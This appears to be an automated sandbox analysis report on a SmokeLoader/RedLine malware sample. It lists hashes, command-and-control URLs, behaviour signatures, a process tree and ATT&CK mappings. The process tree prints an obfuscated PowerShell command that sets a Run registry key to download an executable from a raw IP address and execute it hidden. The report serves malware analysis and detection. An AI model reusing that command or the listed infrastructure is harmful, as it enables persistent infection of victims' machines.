Analysis

  • max time kernel
    147s
  • max time network
    196s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    13-08-2021 07:58

General

  • Target

    a5a76b4bf31b1e1312c72aa0382cf64d.exe

  • Size

    180KB

  • MD5

    a5a76b4bf31b1e1312c72aa0382cf64d

  • SHA1

    a3e9e3f2c8ddacc6ba7c818ae7533c765e06180f

  • SHA256

    7b322817ab2ab0c71807e4169e41bd49954328a4f9ff10fafb16e91b9a9d1272

  • SHA512

    095eaa831be7180cc3512d3a44e9752d77a5c73f01749ff381f4bccd5cc76990afd380dafb3ad2248d01f4300bc3d2eafd5098fe54a5541b1e56b33a3647f069

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a5a76b4bf31b1e1312c72aa0382cf64d.exe
    "C:\Users\Admin\AppData\Local\Temp\a5a76b4bf31b1e1312c72aa0382cf64d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Users\Admin\AppData\Local\Temp\a5a76b4bf31b1e1312c72aa0382cf64d.exe
      "C:\Users\Admin\AppData\Local\Temp\a5a76b4bf31b1e1312c72aa0382cf64d.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:572
  • C:\Users\Admin\AppData\Local\Temp\4E30.exe
    C:\Users\Admin\AppData\Local\Temp\4E30.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1084
  • C:\Users\Admin\AppData\Local\Temp\519A.exe
    C:\Users\Admin\AppData\Local\Temp\519A.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:744
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1680
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
          PID:1356
    • C:\Users\Admin\AppData\Local\Temp\542A.exe
      C:\Users\Admin\AppData\Local\Temp\542A.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1532
      • C:\Windows\SysWOW64\cmd.exe
        cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
        2⤵
        • Drops startup file
        PID:1760
    • C:\Users\Admin\AppData\Local\Temp\561F.exe
      C:\Users\Admin\AppData\Local\Temp\561F.exe
      1⤵
      • Executes dropped EXE
      PID:824
    • C:\Users\Admin\AppData\Local\Temp\5D41.exe
      C:\Users\Admin\AppData\Local\Temp\5D41.exe
      1⤵
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      PID:1188

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Virtualization/Sandbox Evasion

    1
    T1497

    Discovery

    Query Registry

    3
    T1012

    Virtualization/Sandbox Evasion

    1
    T1497

    System Information Discovery

    4
    T1082

    Peripheral Device Discovery

    1
    T1120

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\Runtimebroker.exe
      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • C:\ProgramData\Runtimebroker.exe
      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • C:\Users\Admin\AppData\Local\Temp\4E30.exe
      MD5

      a69e12607d01237460808fa1709e5e86

      SHA1

      4a12f82aee1c90e70cdf6be863ce1a749c8ae411

      SHA256

      188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

      SHA512

      7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

    • C:\Users\Admin\AppData\Local\Temp\519A.exe
      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • C:\Users\Admin\AppData\Local\Temp\519A.exe
      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • C:\Users\Admin\AppData\Local\Temp\542A.exe
      MD5

      b19ac380411ed5d8b5a7e7e0c1da61a6

      SHA1

      9665c20336a5ce437bbf7b564370bfa43e99954c

      SHA256

      aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

      SHA512

      73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

    • C:\Users\Admin\AppData\Local\Temp\542A.exe
      MD5

      b19ac380411ed5d8b5a7e7e0c1da61a6

      SHA1

      9665c20336a5ce437bbf7b564370bfa43e99954c

      SHA256

      aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

      SHA512

      73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

    • C:\Users\Admin\AppData\Local\Temp\561F.exe
      MD5

      5707ddada5b7ea6bef434cd294fa12e1

      SHA1

      45bb285a597b30e100ed4b15d96a29d718697e5e

      SHA256

      85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

      SHA512

      91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

    • C:\Users\Admin\AppData\Local\Temp\561F.exe
      MD5

      5707ddada5b7ea6bef434cd294fa12e1

      SHA1

      45bb285a597b30e100ed4b15d96a29d718697e5e

      SHA256

      85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

      SHA512

      91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

    • C:\Users\Admin\AppData\Local\Temp\5D41.exe
      MD5

      717d65dba56f47e540dca074c3977b3d

      SHA1

      d58aa30f826f41663e693f0ad930fdce584f1672

      SHA256

      61fb1160ae372d9ba1c95400d5439450c6a66cdf073fa50ee2d5d10c4952cbb3

      SHA512

      b06e4358411eb8f6315c574922c021bd57218b3e6a0ed727df6b44e20e7818d40fb0347050ce9145ea7e0fd56a7fa93a2358e524c0df030d6d44067c7c83510d

    • C:\Users\Admin\AppData\Local\Temp\s.bat
      MD5

      fec8c82b2195c8070c21ffe7abd7fa19

      SHA1

      9e9cbd2e8748c35a9e4f4aa9a8133c4e43b8de2f

      SHA256

      33245c613a1a5faff823d34a06cff56de2c5ee130681c97d2a4a21ad99120218

      SHA512

      4d400c2e0fc11d091e5adda57c33a1005105a150aee3b96585848e9f604766b6ed7d8c1ea0dac40b3572ecde099197d6c6347a4557e25c074fbff1b3cb9bed5b

    • \ProgramData\Runtimebroker.exe
      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • \ProgramData\Runtimebroker.exe
      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • memory/572-61-0x00000000767B1000-0x00000000767B3000-memory.dmp
      Filesize

      8KB

    • memory/572-59-0x0000000000400000-0x0000000000409000-memory.dmp
      Filesize

      36KB

    • memory/572-60-0x0000000000402E1A-mapping.dmp
    • memory/744-68-0x0000000000000000-mapping.dmp
    • memory/744-80-0x0000000000400000-0x0000000002C7C000-memory.dmp
      Filesize

      40.5MB

    • memory/744-79-0x0000000002C80000-0x0000000002CBB000-memory.dmp
      Filesize

      236KB

    • memory/824-81-0x0000000000000000-mapping.dmp
    • memory/824-96-0x0000000004AF0000-0x0000000004AF1000-memory.dmp
      Filesize

      4KB

    • memory/824-84-0x0000000000880000-0x0000000000881000-memory.dmp
      Filesize

      4KB

    • memory/1084-64-0x0000000000000000-mapping.dmp
    • memory/1188-95-0x0000000004FE0000-0x0000000004FE1000-memory.dmp
      Filesize

      4KB

    • memory/1188-87-0x0000000000000000-mapping.dmp
    • memory/1188-91-0x0000000000060000-0x0000000000061000-memory.dmp
      Filesize

      4KB

    • memory/1224-63-0x0000000002B30000-0x0000000002B46000-memory.dmp
      Filesize

      88KB

    • memory/1356-108-0x0000000002260000-0x0000000002EAA000-memory.dmp
      Filesize

      12.3MB

    • memory/1356-106-0x0000000000940000-0x0000000000941000-memory.dmp
      Filesize

      4KB

    • memory/1356-107-0x00000000047B0000-0x00000000047B1000-memory.dmp
      Filesize

      4KB

    • memory/1356-102-0x0000000000000000-mapping.dmp
    • memory/1532-72-0x0000000000000000-mapping.dmp
    • memory/1532-99-0x0000000000400000-0x0000000002D86000-memory.dmp
      Filesize

      41.5MB

    • memory/1532-97-0x0000000004EF0000-0x0000000005101000-memory.dmp
      Filesize

      2.1MB

    • memory/1532-94-0x0000000000400000-0x0000000002D86000-memory.dmp
      Filesize

      41.5MB

    • memory/1532-93-0x0000000003180000-0x00000000033C3000-memory.dmp
      Filesize

      2.3MB

    • memory/1680-85-0x0000000000400000-0x0000000002C7C000-memory.dmp
      Filesize

      40.5MB

    • memory/1680-76-0x0000000000000000-mapping.dmp
    • memory/1760-101-0x0000000000000000-mapping.dmp
    • memory/1988-62-0x0000000000230000-0x000000000023A000-memory.dmp
      Filesize

      40KB